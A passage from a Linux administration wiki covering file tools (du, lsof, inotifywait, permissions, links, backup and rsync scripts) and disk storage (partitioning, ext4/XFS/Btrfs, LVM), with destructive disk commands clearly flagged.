list; overwrite into a directory ``` zstd level 3 is the default and already beats gzip at any level for speed. `-T0` uses every core for compression; decompression is single-threaded but fast. `--long=31` allows a 2 GiB match window, which helps enormously on VM images and database dumps but requires the same flag to decompress. ## Disk usage `du` counts allocated blocks under a path; `df` reports what the filesystem says is free. They disagree when deleted files are still open (see `lsof` below), when reserved blocks (5 % on ext4 by default) are counted, when bind mounts or other filesystems sit under the path, or when files are sparse or reflinked. ```sh du -xsh /var/* 2>/dev/null | sort -h # per top-level directory, one filesystem (-x), human sizes, sorted du -xh --max-depth=2 /var | sort -h | tail # deepest offenders two levels down du -xa /var/log | sort -n | tail -20 # every file (-a), largest last du -sh --apparent-size file # logical size rather than blocks: shows sparse files as their full length du -xsh --time /home/* # with last modification time per entry df -hT # every mounted filesystem with type df -h /var/log # the filesystem holding a path df -i / # inodes; a full inode table looks like a full disk with free space ncdu -x / # interactive; d deletes (irreversibly), i shows info, n/s/C sort ncdu -x -o /root/scan.json / && ncdu -f /root/scan.json # scan once, browse later or elsewhere ``` ## Open files and busy mounts ```sh lsof /var/log/app.log # processes with that file open lsof +D /srv/data # everything open under a tree (slow on large trees) lsof -nP -p 1234 # every fd of one process; -n no DNS, -P no port names lsof -nP +L1 # open files whose link count is 0: deleted but still consuming space lsof -nP -iTCP -sTCP:LISTEN # listening sockets, since it is often the same investigation fuser -vm /mnt/backup # processes using anything on that mount (why umount says busy) fuser -k /mnt/backup # send SIGKILL to them; -TERM for a gentler signal, -i to confirm fuser -v /dev/ttyUSB0 # who holds a device ``` A deleted-but-open file shows in `lsof` as `(deleted)` and in `/proc//fd/` as a symlink. Truncating it through that path (`: > /proc/1234/fd/5`) returns the space without restarting the process; restarting the process or asking it to reopen logs (`kill -HUP`, `logrotate` with `copytruncate`) is the tidy fix. ## Watching for changes `inotifywait` (package `inotify-tools`) blocks until a filesystem event, or with `-m` streams events forever. It uses the kernel inotify API, which watches directories and the files in them but does not recurse on its own; `-r` adds a watch per subdirectory, bounded by `fs.inotify.max_user_watches`. ```sh inotifywait -e close_write /etc/app/config.yaml # wait for one save, then exit inotifywait -m -r -e close_write,moved_to,create,delete --format '%T %w%f %e' --timefmt '%F %T' /srv/uploads/ inotifywait -m -e modify /var/log/app.log | while read -r _ _ f; do echo "changed: $f"; done inotifywait -m -r --exclude '\.(swp|tmp)$' -e close_write src/ | while read -r dir ev file; do make; done # rebuild on save ``` `close_write` is the event to act on for "file finished being written"; `modify` fires for every write call. Editors that save by writing a temporary file and renaming it produce `moved_to`, not `close_write`, on the watched name. For watches that must survive reboots, use a `systemd.path` unit ([systemd](https://www.wiki.jodisand.me/systemd/)) instead of a long-running `inotifywait`; for huge trees or whole-filesystem watching use `fanotify` or `watchman`. ## Permissions, ownership and umask Each file carries an owner, a group and nine mode bits in three triplets: user, group, other, each `rwx`. On a directory, `r` lists names, `w` creates or removes entries (regardless of the entries' own permissions) and `x` allows traversal into it; a directory with `w` but not `x` is useless. Three extra bits: setuid (4) runs an executable as its owner, setgid (2) on a directory makes new files inherit the directory's group, and the sticky bit (1) on a directory restricts deletion to the entry's owner, as on `/tmp`. ```sh chmod 640 file # rw- r-- --- chmod u+x,go-w script.sh # symbolic: add x for user, remove w for group and other chmod -R u=rwX,go=rX dir/ # X: execute only for directories and files already executable; safe for recursion chmod 2775 shared/ # setgid directory: files created inside get the directory's group chmod 1777 scratch/ # sticky: users delete only their own files chown app:app file; chown -R app:app dir/; chgrp -R web dir/ chown --reference=other file # copy owner and group from another file umask # 0022: new files 644, new directories 755 umask 077 # new files 600, directories 700, for the rest of this shell install -m 0640 -o app -g app config.yaml /etc/app/config.yaml # copy with mode and ownership in one step stat -c '%A %a %U %G %n' /etc/shadow # ---------- 0 root root: symbolic, octal, owner, group ``` The umask is subtracted from the mode a program requests (usually 666 for files and 777 for directories), so `umask 022` gives 644 and 755. It is inherited per process; set it in the service unit (`UMask=` in [systemd](https://www.wiki.jodisand.me/systemd/#writing-a-unit)), in `/etc/login.defs` or in a profile script, not by hoping. ACLs extend the nine bits to named users and groups, and default ACLs on a directory propagate to new entries. A `+` after the mode in `ls -l` means an ACL is present; `getfacl` shows it. ```sh setfacl -m u:deploy:rwx /srv/app # grant one user setfacl -m d:g:web:rx /srv/app # default ACL: new entries inside get it setfacl -R -m g:web:rX /srv/app # recursive setfacl -b /srv/app # remove all ACL entries getfacl /srv/app ``` `chattr +i file` makes a file immutable even to root until `chattr -i`; `+a` allows append only, useful for audit logs. `lsattr` lists these. On SELinux hosts the security label is a fourth axis: `ls -Z`, `restorecon -Rv dir/` after moving files into a labelled location, and `chcon` or `semanage fcontext` for persistent exceptions. ## Hard links and symlinks A hard link is a second name for the same inode: same permissions, same data, same filesystem, indistinguishable from the original. Deleting one name leaves the other intact. Directories cannot be hard-linked. A symlink is a small file containing a path; it can cross filesystems and point at things that do not exist, and permissions on it are ignored in favour of the target's. ```sh ln file.txt hard.txt # hard link; ls -li shows the same inode and link count 2 ln -s /srv/app/releases/42 /srv/app/current # symlink to an absolute path ln -sfn releases/43 /srv/app/current # replace atomically-ish: -f overwrite, -n treat existing symlink as a file not a directory ln -s ../shared/config.yaml config.yaml # relative target: survives moving the whole tree readlink current # the stored target text readlink -f current # fully resolved absolute path, every component realpath --relative-to=. /srv/app/releases/42 find . -type l -xtype l # broken symlinks (GNU: -xtype tests the target) find /srv -links +1 -type f # files with more than one name cp -a dir/ copy/ # preserves symlinks as symlinks; cp -L follows them rsync -a --copy-links src/ dst/ # follow symlinks and copy the targets instead ``` `ln -sfn` without `-n` on an existing symlink to a directory creates the new link inside the target directory rather than replacing the link. Atomic switch of a `current` symlink: create `current.tmp` then `mv -T current.tmp current`; `mv` is a single `rename(2)`. Relative symlinks inside a tree that gets copied or bind-mounted keep working; absolute ones point back at the original location. `cp -a` and `rsync -a` preserve the link text, so a relative link is copied relative. ## Odd filenames Any byte except `/` and NUL is legal in a name, including newlines, leading dashes, spaces, tabs, glob characters and terminal escape sequences. Scripts that handle names they did not create must assume all of them. ```sh ls -b # C escapes for non-printables; ls -q replaces them with ? ls -li # find the inode of the unmanageable one find . -inum 1234567 -delete # delete by inode; also: find . -inum 1234567 -exec mv {} sane-name \; rm -- -rf # -- ends option parsing; or rm ./-rf rm -i -- * # confirm each; leading-dash names cannot become options after -- printf '%q\n' "$name" # show what the shell would need to type it for f in *; do mv -- "$f" "$(printf '%s' "$f" | tr -c 'A-Za-z0-9._-\n' '_')"; done # sanitise; check for collisions first find . -name $'*\n*' # names containing a newline find . -depth -name '* *' -execdir rename 's/ /_/g' {} + # perl rename, package prename or perl-File-Rename; -n previews detox -r -n dir/ # detox package: normalise names recursively; -n dry run iconv -f latin1 -t utf-8 <<< "$name" # decode a name written under another locale; convmv -r -f latin1 -t utf-8 --notest dir/ renames in place ``` Quote every expansion (`"$f"`), separate with NUL between programs (`-print0`, `-0`, `-z` for `sort`, `xargs`, `grep`, `sed`), and pass `--` before filenames in any command that accepts options. Iterating a glob (`for f in *`) is safe; iterating `$(ls)` is not. See the quoting section of [Bash](https://www.wiki.jodisand.me/bash/#quoting). ## Oneliners ```sh # Biggest 20 files on this filesystem find / -xdev -type f -printf '%s\t%p\n' 2>/dev/null | sort -n | tail -20 | numfmt --field=1 --to=iec # Directories over 1 GiB, one filesystem du -xh --threshold=1G / 2>/dev/null | sort -h # Files modified in the last 10 minutes under /etc, newest first find /etc -type f -mmin -10 -printf '%TF %TT %p\n' | sort -r # Count files per extension in a tree fd -t f | sed -E 's/.*\.//' | sort | uniq -c | sort -rn | head # Delete logs older than 14 days, showing each find /var/log/app -name '*.log' -type f -mtime +14 -print -delete # Compress rotated logs that are not yet compressed find /var/log -name '*.[0-9]' -type f -mtime +1 -exec zstd --rm -T0 -q {} + # Remove empty directories bottom-up find /srv/uploads -mindepth 1 -type d -empty -delete # Duplicate files by content (size first, then hash) find . -type f -printf '%s %p\n' | sort -n | uniq -Dw10 | awk '{print $2}' | xargs -d '\n' sha256sum | sort | uniq -Dw64 # Same, with fdupes or jdupes when installed jdupes -r . # Total size of files matching a glob, NUL-safe find . -name '*.mp4' -type f -print0 | du -ch --files0-from=- | tail -1 # Sync a tree to a host, deleting extras, showing per-file actions rsync -aHi --delete --info=progress2 /srv/site/ deploy@host.example.com:/srv/site/ # Pull a remote directory, resumable, capped at 10 MiB/s rsync -aP --bwlimit=10m host.example.com:/var/backups/ /mnt/backups/ # Copy a directory across hosts preserving everything, root on the far side rsync -aHAX --numeric-ids --rsync-path='sudo rsync' /etc/ admin@host.example.com:/srv/etc-copy/ # Verify two trees match by checksum, listing differences only rsync -rcn --delete -i src/ dst/ | grep -v '^\.' # Stream a directory through zstd over SSH without a temporary archive tar -C /srv -cf - data | zstd -T0 | ssh host.example.com 'zstd -d | tar -xf - -C /restore' # Extract a single file from an archive to stdout tar -xOf backup.tar.zst etc/hosts # Deleted files holding space, sorted by size lsof -nP +L1 2>/dev/null | awk 'NR>1 {print $7, $1, $2, $10}' | sort -n | tail # Which process is writing to this directory right now inotifywait -m -e modify,create /var/lib/app 2>/dev/null | head -20; lsof +D /var/lib/app # Wait until a file appears, up to five minutes timeout 300 inotifywait -q -e create --include 'done\.flag' /srv/jobs/ # World-writable files and directories outside /tmp and /proc find / -xdev \( -path /tmp -o -path /var/tmp \) -prune -o -perm -o+w ! -type l -print 2>/dev/null # Setuid and setgid binaries, with owner find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -printf '%M %u %p\n' 2>/dev/null # Files changed (ctime) in the last day, for spotting unexpected edits find /usr /etc -xdev -ctime -1 -printf '%CF %CT %p\n' | sort # Make a directory tree with the same layout but no files find src -type d -exec mkdir -p dst/{} \; # Copy with reflink on btrfs or xfs (instant, shares blocks until modified) cp -a --reflink=auto big.img big-copy.img # Fill a file with zeros quickly, or allocate sparse fallocate -l 10G swapfile-candidate; truncate -s 10G sparse.img # Byte-exact compare two files and show the first difference cmp file-a file-b # Rename by regex, previewing first (perl rename) rename -n 's/\.jpeg$/.jpg/' *.jpeg ``` ## Scripts Back up a directory into dated zstd archives and keep the newest N, deleting older ones. ```sh #!/usr/bin/env bash # usage: backup-rotate.sh [keep=7] set -euo pipefail src=${1:?source dir} dst=${2:?backup dir} keep=${3:-7} [[ -d $src ]] || { printf 'no such directory: %s\n' "$src" >&2; exit 2; } mkdir -p -- "$dst" name=$(basename -- "$src") archive="$dst/$name-$(date +%Y%m%dT%H%M%S).tar.zst" tmp="$archive.partial" trap 'rm -f -- "$tmp"' EXIT tar -C "$(dirname -- "$src")" --one-file-system -cf - -- "$name" | zstd -T0 -q -o "$tmp" mv -- "$tmp" "$archive" trap - EXIT printf 'wrote %s (%s)\n' "$archive" "$(du -h -- "$archive" | cut -f1)" # Rotation: newest first by name (timestamps sort lexically), delete beyond $keep mapfile -t old < <(ls -1 -- "$dst"/"$name"-*.tar.zst 2>/dev/null | sort -r | tail -n +"$((keep + 1))") for f in "${old[@]}"; do rm -v -- "$f"; done ``` Report the largest files and directories on a filesystem, plus deleted-but-open files, in one pass. Run as root for a full view. ```sh #!/usr/bin/env bash # usage: disk-report.sh [mountpoint=/] [top=15] set -euo pipefail mnt=${1:-/} top=${2:-15} printf '== %s ==\n' "$mnt"; df -hT -- "$mnt" | tail -1 printf '\n== inodes ==\n'; df -i -- "$mnt" | tail -1 printf '\n== largest directories (one filesystem) ==\n' du -x --max-depth=3 -- "$mnt" 2>/dev/null | sort -n | tail -n "$top" | numfmt --field=1 --from-unit=1024 --to=iec printf '\n== largest files ==\n' find "$mnt" -xdev -type f -printf '%s\t%TF\t%p\n' 2>/dev/null | sort -n | tail -n "$top" | numfmt --field=1 --to=iec printf '\n== deleted but open ==\n' lsof -nP +L1 2>/dev/null | awk 'NR>1 && $7 > 1048576 {printf "%s\t%s\t%s\t%s\n", $7, $1, $2, $10}' | sort -n | numfmt --field=1 --to=iec || true ``` Mirror a directory to a remote host with a lock, a dry-run summary on demand and a bandwidth cap, suitable for a systemd timer. ```sh #!/usr/bin/env bash # usage: mirror.sh [-n] set -euo pipefail dry=(); [[ ${1:-} == -n ]] && { dry=(-n -i); shift; } src=${1:?source} dst=${2:?destination} exec 9>"/run/lock/mirror-$(basename -- "${src%/}").lock" flock -n 9 || { echo 'another mirror is running' >&2; exit 0; } rsync -aH --delete --delete-after --partial-dir=.rsync-partial --bwlimit=20m --timeout=120 \ --exclude='.rsync-partial/' --exclude='*.tmp' "${dry[@]}" -- "$src" "$dst" rc=$? case $rc in 0) ;; 24) echo 'warning: some source files vanished during transfer' >&2 ;; # rsync exit 24 is benign on live trees *) echo "rsync failed with $rc" >&2; exit "$rc" ;; esac ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `df` shows the disk full but `du` finds far less | Deleted files still open, or a mount hiding data underneath | `lsof -nP +L1`; `mount --bind / /mnt/root && du -xsh /mnt/root/var` to see under mounts | | `No space left on device` with free space in `df -h` | Inodes exhausted | `df -i`; find the directory with millions of small files: `find / -xdev -printf '%h\n' \| sort \| uniq -c \| sort -n \| tail` | | `umount: target is busy` | A process has a file open or its cwd on the mount | `fuser -vm /mnt/x`; `lsof +D /mnt/x`; stop it, or `umount -l` for a lazy detach | | `Argument list too long` | Glob expanded past `ARG_MAX` | `find ... -exec cmd {} +`, `fd -X`, or `xargs -0` | | `find: paths must precede expression` | Unquoted glob expanded by the shell before `find` saw it | Quote the pattern: `-name '*.log'` | | `rsync: connection unexpectedly closed` | Remote rsync missing, SSH login printing output, or `sudo` needing a TTY | `ssh host rsync --version`; silence shell startup output; use `--rsync-path='sudo rsync'` with passwordless sudo | | rsync copies everything every time | Times not preserved (`-t` missing) or a filesystem with coarse timestamps (FAT, some SMB) | Use `-a`; `--modify-window=1` for 2 s FAT resolution; `--size-only` as a last resort | | rsync created `dst/src/` instead of syncing contents | Missing trailing slash on the source | `rsync -a src/ dst/` | | `rsync: failed to set times` or `chown` errors | Destination not owned by you, or no `CAP_CHOWN` | Drop `-o -g` (`rsync -rlptD`), or run as root; `--no-perms --no-owner --no-group` on foreign filesystems | | `tar: Removing leading '/' from member names` | Absolute paths in the archive | Expected; use `-C` and relative paths when creating | | `tar: Cannot open: Permission denied` on extract | Extracting as a user into a root-owned directory, or setuid files | Extract as root with `--same-owner`, or into a directory you own | | `inotifywait: Failed to watch; upper limit on inotify watches reached` | `fs.inotify.max_user_watches` too low for `-r` | `sysctl fs.inotify.max_user_watches=524288`, persist in `/etc/sysctl.d/` | | `Permission denied` despite `rwx` on the file | Missing `x` on a parent directory, an ACL, SELinux, or `chattr +i` | `namei -l /path/to/file`; `getfacl`; `ls -Z` and `ausearch -m avc -ts recent`; `lsattr` | | A file cannot be deleted even by root | Immutable or append-only attribute | `lsattr file`; `chattr -i file` | | `ls` output looks corrupted, names contain control characters | Names with escapes or a wrong locale | `ls -b`; `LC_ALL=C ls`; rename by inode | | Symlink to a directory ends up inside the target | `ln -sf` without `-n` | `ln -sfn target link`, or `mv -T` a fresh link over the old one | | `mv` across filesystems is slow and non-atomic | It is a copy plus delete | `rsync -a --remove-source-files` for resumability; keep staging and final directories on one filesystem for atomic renames | ## Further reading - [GNU findutils manual](https://www.gnu.org/software/findutils/manual/html_mono/find.html) - [fd documentation](https://github.com/sharkdp/fd#readme) - [rsync manual](https://download.samba.org/pub/rsync/rsync.1) - [GNU tar manual](https://www.gnu.org/software/tar/manual/tar.html) - [Zstandard manual](https://facebook.github.io/zstd/zstd_manual.html) and [zstd(1)](https://github.com/facebook/zstd/blob/dev/programs/zstd.1.md) - [inotify(7)](https://man7.org/linux/man-pages/man7/inotify.7.html), [path_resolution(7)](https://man7.org/linux/man-pages/man7/path_resolution.7.html) --- # Disks and storage > Partition, format, mount, encrypt and grow Linux block storage with lsblk, parted, LVM, ext4, XFS, Btrfs, mdadm and cryptsetup, and diagnose full or slow disks. Canonical: https://www.wiki.jodisand.me/storage/ Reviewed: 2026-09-24 Related: [Files and directories](https://www.wiki.jodisand.me/files/index.md), [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md), [Proxmox VE](https://www.wiki.jodisand.me/proxmox/index.md), [libvirt and KVM](https://www.wiki.jodisand.me/libvirt/index.md), [Shell one-liners](https://www.wiki.jodisand.me/oneliners/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Block devices as a tree with filesystems | `lsblk -f` | | Sizes, models and mountpoints | `lsblk -o NAME,SIZE,TYPE,FSTYPE,MOUNTPOINTS,MODEL` | | UUIDs and labels | `blkid` | | Free space per mounted filesystem | `df -hT -x tmpfs -x devtmpfs` | | Inode usage | `df -i` | | What is filling this directory | `du -xh --max-depth=1 / \| sort -h` | | Partition table | `parted /dev/sdb print`, `sgdisk -p /dev/sdb` | | Create a GPT and one full-size partition | `parted -s /dev/sdb mklabel gpt mkpart data ext4 1MiB 100%` | | Make a filesystem | `mkfs.ext4 -L data /dev/sdb1`, `mkfs.xfs -L data /dev/sdb1` | | Mount by label | `mount LABEL=data /mnt/data` | | Mount everything in fstab, verify it | `mount -a && findmnt --verify` | | Grow a partition to fill the disk | `growpart /dev/sda 3` | | Grow the filesystem | `resize2fs /dev/sda3` (ext4), `xfs_growfs /` (XFS, by mountpoint) | | LVM overview | `pvs; vgs; lvs -a -o +devices` | | Extend a logical volume and its filesystem | `lvextend -r -L +20G /dev/vg0/data` | | Disk health | `smartctl -a /dev/sda` | | Per-device IO utilisation | `iostat -xz 1` | | Which process is doing IO | `iotop -oPa` | | Trim an SSD or thin volume | `fstrim -av` | | Discard the page cache, for benchmarks only | `sync; echo 3 > /proc/sys/vm/drop_caches` | | Deleted but open files holding space | `lsof +L1` | | Filesystem check (unmounted) | `fsck.ext4 -f /dev/sdb1`, `xfs_repair /dev/sdb1` | Commands assume util-linux 2.40, LVM2 2.03, e2fsprogs 1.47, xfsprogs 6.x, btrfs-progs 6.x, cryptsetup 2.7 and smartmontools 7.4 as shipped on Fedora 42 and RHEL 9. Most of them need root. References: the [util-linux](https://www.kernel.org/pub/linux/utils/util-linux/) manual pages and the [Red Hat storage guide](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/managing_storage_devices/index). ## The stack A disk is a block device (`/dev/sda`, `/dev/nvme0n1`, `/dev/vda`). A partition table divides it into partitions (`/dev/sda1`, `/dev/nvme0n1p1`). Optionally LVM takes partitions or whole disks as physical volumes, pools them in a volume group and carves logical volumes (`/dev/vg0/data`, also `/dev/mapper/vg0-data`). Optionally LUKS wraps any of those in encryption and exposes a `/dev/mapper/name` device. A filesystem sits on the final device and is mounted at a path. Each layer must be grown in order from the bottom up when a disk gets bigger, and shrunk from the top down. ```sh lsblk -f # tree: disk > partition > crypt > lvm > filesystem, with UUIDs lsblk -o NAME,SIZE,TYPE,FSTYPE,LABEL,UUID,MOUNTPOINTS,MODEL,SERIAL,ROTA,DISC-GRAN lsblk -d -o NAME,SIZE,ROTA,TRAN,MODEL # disks only; ROTA 1 is spinning, TRAN is sata/nvme/virtio lsblk -J | jq '.blockdevices[] | select(.type == "disk") | .name' # JSON for scripts blkid # UUID, LABEL and TYPE for every filesystem, swap and LUKS header blkid -s UUID -o value /dev/sda2 # one value, for fstab findmnt # mounted filesystems as a tree with options findmnt -T /var/lib/containers # which mount holds this path findmnt --verify # parse fstab and report problems without mounting df -hT -x tmpfs -x devtmpfs -x overlay # usage per filesystem, without the noise df -i # inode usage; a full inode table also reports "No space left" cat /proc/partitions; ls -l /dev/disk/by-id/ /dev/disk/by-uuid/ /dev/disk/by-path/ udevadm info -q property /dev/sda | grep -E 'ID_SERIAL|ID_WWN|ID_BUS' ``` Device names such as `/dev/sdb` change between boots when disks are added, removed or enumerated in a different order. Refer to filesystems by `UUID=` or `LABEL=` in fstab and to disks by `/dev/disk/by-id/` in scripts and RAID or LVM configuration. ## Partitioning GPT is the default on anything current: up to 128 partitions, 64-bit sector addresses (disks over 2 TiB), a backup header at the end of the disk and a checksum. MBR (`msdos` in parted) remains only for legacy BIOS boot on old images and for compatibility with old firmware. `parted` scripts well and understands GPT and MBR. `sgdisk` is GPT-only, scripts even better and can clone tables. `fdisk` is interactive by default and fine for a one-off. `cfdisk` is a curses front end. All of them write a table only, never a filesystem; the kernel re-reads the table when they exit, and `partprobe /dev/sdb` forces it if a partition is in use. ```sh parted /dev/sdb print # table type, size, partitions with flags parted /dev/sdb unit s print # in sectors, to check alignment parted -s /dev/sdb mklabel gpt # DESTROYS the existing table and, in effect, every partition on it parted -s -a optimal /dev/sdb mkpart data ext4 1MiB 100% # one partition; "ext4" here only sets the type hint, mkfs still needed parted -s -a optimal /dev/sdb mkpart efi fat32 1MiB 1025MiB set 1 esp on # EFI system partition parted -s /dev/sdb mkpart lvm 1025MiB 100% set 2 lvm on parted -s /dev/sdb resizepart 2 100% # grow partition 2 to the end; parted 3.x asks nothing with -s parted -s /dev/sdb rm 3 # DESTRUCTIVE: removes partition 3 from the table parted -s /dev/sdb align-check optimal 1 # "1 aligned" ``` Start the first partition at 1 MiB. That aligns to every common physical sector and erase-block size, and it is what `-a optimal` does when you give sizes in MiB or percent. Starting at sector 63 or any odd number of 512-byte sectors on a 4 KiB-sector disk halves write performance. ```sh sgdisk -p /dev/sdb # print table sgdisk -o /dev/sdb # DESTRUCTIVE: new empty GPT sgdisk -n 1:0:+1G -t 1:ef00 -c 1:efi /dev/sdb # partition 1, 1 GiB from the first free sector, type EFI, name efi sgdisk -n 2:0:0 -t 2:8e00 -c 2:lvm /dev/sdb # partition 2, rest of disk, type Linux LVM sgdisk -L | grep -iE 'linux|efi|lvm|raid|swap' # type codes: 8300 Linux fs, 8e00 LVM, fd00 RAID, 8200 swap, ef00 ESP sgdisk -d 2 /dev/sdb # DESTRUCTIVE: delete partition 2 sgdisk -e /dev/sdb # move the backup GPT header to the actual end of a grown disk sgdisk -G /dev/sdb # randomise disk and partition GUIDs after cloning sgdisk -R /dev/sdc /dev/sdb # replicate sdb's table onto sdc (for RAID mirrors), then sgdisk -G /dev/sdc sgdisk -b table.bin /dev/sdb; sgdisk -l table.bin /dev/sdb # back up and restore a table sgdisk -Z /dev/sdb # DESTRUCTIVE: zap GPT and MBR structures ``` `fdisk -l` prints every disk's table. Interactive `fdisk /dev/sdb` uses `g` (new GPT), `n` (new), `t` (type), `d` (delete), `p` (print), `w` (write) and `q` (quit without writing). `wipefs -a /dev/sdb` erases filesystem, RAID, LVM and partition-table signatures so a reused disk does not get auto-assembled or auto-mounted; it is destructive and there is a `--no-act` flag to preview. ## Filesystems | | ext4 | XFS | Btrfs | | --- | --- | --- | --- | | Default on | Debian, Ubuntu | RHEL, Fedora Server | Fedora Workstation, openSUSE | | Grow online | Yes | Yes | Yes | | Shrink | Offline only | Never | Online | | Snapshots | Via LVM | Via LVM | Native, subvolume-level | | Checksums | Metadata | Metadata | Data and metadata | | Inodes | Fixed at mkfs | Dynamic | Dynamic | | Strengths | Mature, `fsck` recovers well, small files | Large files, parallel IO, huge filesystems | Snapshots, send/receive, compression, RAID 1 | ```sh mkfs.ext4 -L data /dev/sdb1 # DESTRUCTIVE: writes a filesystem over whatever is there mkfs.ext4 -L data -m 0.5 -T largefile4 /dev/sdb1 # -m reserved blocks % (default 5, meant for root); -T tunes inode ratio mkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0 /dev/sdb1 # do the init now rather than in the background after mount mkfs.xfs -L data /dev/sdb1 # DESTRUCTIVE; refuses to overwrite an existing filesystem without -f mkfs.xfs -L data -m reflink=1 -d su=64k,sw=4 /dev/md0 # stripe unit and width for a 4-data-disk RAID mkfs.btrfs -L data /dev/sdb1 # DESTRUCTIVE mkfs.btrfs -L data -m raid1 -d raid1 /dev/sdb /dev/sdc # two-disk mirror with no mdadm mkfs.vfat -F32 -n EFI /dev/sdb1 # EFI system partition ``` Inspect and tune: ```sh tune2fs -l /dev/sdb1 # ext4 superblock: features, mount count, last check, reserved blocks tune2fs -L newlabel /dev/sdb1 # relabel (ext4; xfs_admin -L for XFS, btrfs filesystem label for Btrfs) tune2fs -m 1 /dev/sdb1 # reduce reserved blocks to 1% tune2fs -O ^has_journal /dev/sdb1 # remove the journal (unmounted); rarely worth it dumpe2fs -h /dev/sdb1 | grep -iE 'block size|inode count|free' xfs_info /mnt/data # XFS geometry: block size, agcount, sunit/swidth, reflink xfs_admin -L data /dev/sdb1 # label (unmounted) btrfs filesystem show; btrfs filesystem usage /mnt/data; btrfs device stats /mnt/data ``` Resize. Grow the underlying device first (partition, LV or virtual disk), then the filesystem. ext4 and XFS grow while mounted; ext4 shrinks only unmounted, XFS never shrinks. ```sh resize2fs /dev/sdb1 # ext4: grow to fill the device, online resize2fs /dev/sdb1 50G # ext4: to a size; shrinking requires umount and e2fsck -f first xfs_growfs /mnt/data # XFS: takes the mountpoint, grows to fill the device xfs_growfs -D 26214400 /mnt/data # XFS: to a size in filesystem blocks btrfs filesystem resize max /mnt/data # Btrfs: grow to fill; also accepts -10G to shrink online btrfs filesystem resize 2:max /mnt/data # Btrfs: device ID 2 in a multi-device filesystem ``` Check and repair, unmounted, or on a snapshot of a mounted volume. `fsck` never runs on a mounted read-write filesystem. ```sh e2fsck -f /dev/sdb1 # force a full check; -p auto-fixes safe problems, -y answers yes to everything e2fsck -n /dev/sdb1 # read-only check of a mounted filesystem; results may be misleading xfs_repair -n /dev/sdb1 # dry run xfs_repair /dev/sdb1 # repair; if it complains about the log, mount and umount once first, -L zeroes it (loses recent metadata) btrfs check --readonly /dev/sdb1 # check; --repair is a last resort, ask on the mailing list first btrfs scrub start -B /mnt/data # verify every checksum on a mounted filesystem; -B waits ``` ### Btrfs subvolumes and snapshots A Btrfs subvolume is an independently mountable tree inside the filesystem. Fedora installs `/` and `/home` as subvolumes named `root` and `home` on one filesystem. A snapshot is a copy-on-write clone of a subvolume and costs nothing until data diverges. ```sh btrfs subvolume list / # subvolumes with IDs and paths btrfs subvolume create /mnt/data/projects btrfs subvolume snapshot -r /home /home/.snapshots/home-$(date +%F) # -r: read-only, needed for send btrfs subvolume delete /home/.snapshots/home-2026-08-01 btrfs send /home/.snapshots/home-2026-09-24 | ssh backup.example.com btrfs receive /backup/home # full copy btrfs send -p /home/.snapshots/home-2026-09-23 /home/.snapshots/home-2026-09-24 | ssh backup.example.com btrfs receive /backup/home # incremental btrfs property set /mnt/data/vm-images compression none # or mount -o compress=zstd:3 btrfs filesystem defragment -r -czstd /mnt/data/docs # compress existing files in place btrfs balance start -dusage=50 /mnt/data # reclaim half-empty data chunks; fixes ENOSPC with df showing free space ``` ## LVM LVM inserts a mapping layer between block devices and filesystems. Physical volumes (PV) join a volume group (VG), and logical volumes (LV) are allocated from the VG's extents (4 MiB each by default). LVs grow while in use, can span disks, and can be snapshotted. Metadata lives on every PV, so a VG assembles on any host that sees its disks. ```sh pvs; vgs; lvs # summaries; -v for more, -a includes hidden volumes pvs -o +pv_used; vgs -o +vg_free_count; lvs -a -o +devices,segtype # where each LV's extents live pvdisplay /dev/sdb1; vgdisplay vg0; lvdisplay /dev/vg0/data # verbose forms lvs -o lv_name,lv_size,data_percent,metadata_percent,snap_percent # fill levels of thin pools and snapshots pvcreate /dev/sdb1 # label a partition as a PV; refuses if a filesystem signature exists (wipefs first) vgcreate vg0 /dev/sdb1 /dev/sdc1 # VG from two PVs lvcreate -n data -L 100G vg0 # LV of 100 GiB lvcreate -n data -l 100%FREE vg0 # all remaining extents lvcreate -n data -l 50%VG vg0 # half the VG lvcreate -n fast -L 50G -i 2 -I 64 vg0 # striped across 2 PVs, 64 KiB stripes lvcreate -n mirror -L 50G -m 1 vg0 # RAID 1 via the raid1 segment type mkfs.xfs /dev/vg0/data && mount /dev/vg0/data /mnt/data ``` Grow: add a PV if the VG is full, then extend the LV with `-r` so the filesystem grows in the same step. ```sh pvcreate /dev/sdd1 && vgextend vg0 /dev/sdd1 # add a disk to the VG pvresize /dev/sdb1 # after the partition or virtual disk underneath grew lvextend -r -L +20G /dev/vg0/data # add 20 GiB and resize the filesystem (ext4, XFS, Btrfs) lvextend -r -l +100%FREE /dev/vg0/data # use everything left lvextend -r -L 200G /dev/vg0/data # to an absolute size lvreduce -r -L 50G /dev/vg0/data # DESTRUCTIVE if the filesystem is larger than 50G; ext4 only, unmounts and shrinks first with -r; XFS cannot shrink lvremove /dev/vg0/old # DESTRUCTIVE: deletes the LV and its data after a prompt vgreduce vg0 /dev/sdb1 # remove an empty PV from the VG (pvmove first if it holds extents) pvmove /dev/sdb1 # migrate extents off a PV online, then vgreduce and pvremove vgrename vg0 vg1; lvrename vg1 data data-old vgchange -an vg0; vgexport vg0 # deactivate and mark for moving to another host; vgimport there vgscan; vgchange -ay # find and activate VGs after adding disks ``` Snapshots are copy-on-write. A classic snapshot needs its own space in the VG to hold the changed blocks of the origin; when it fills, the snapshot becomes invalid (the origin is unaffected). Size it for the writes expected during its life, not the size of the origin. ```sh lvcreate -s -n data-snap -L 10G /dev/vg0/data # snapshot of data with 10 GiB for changed blocks lvs -o lv_name,origin,snap_percent # watch the fill level mount -o ro,nouuid /dev/vg0/data-snap /mnt/snap # XFS needs nouuid because the UUID matches the origin lvconvert --merge /dev/vg0/data-snap # roll the origin back to the snapshot; happens at next activation if the origin is mounted; removes the snapshot lvremove /dev/vg0/data-snap # discard the snapshot ``` Thin provisioning allocates blocks on write from a pool and makes snapshots cheap and unlimited in size, at the cost of a pool that can overfill and take every LV in it offline. Monitor `data_percent`; `lvm.conf` `thin_pool_autoextend_threshold` grows the pool automatically. ```sh lvcreate -L 500G -T vg0/pool # thin pool lvcreate -V 1T -T vg0/pool -n vm-disks # thin LV bigger than the pool lvcreate -s -n vm-disks-snap vg0/vm-disks # thin snapshot; no size needed ``` 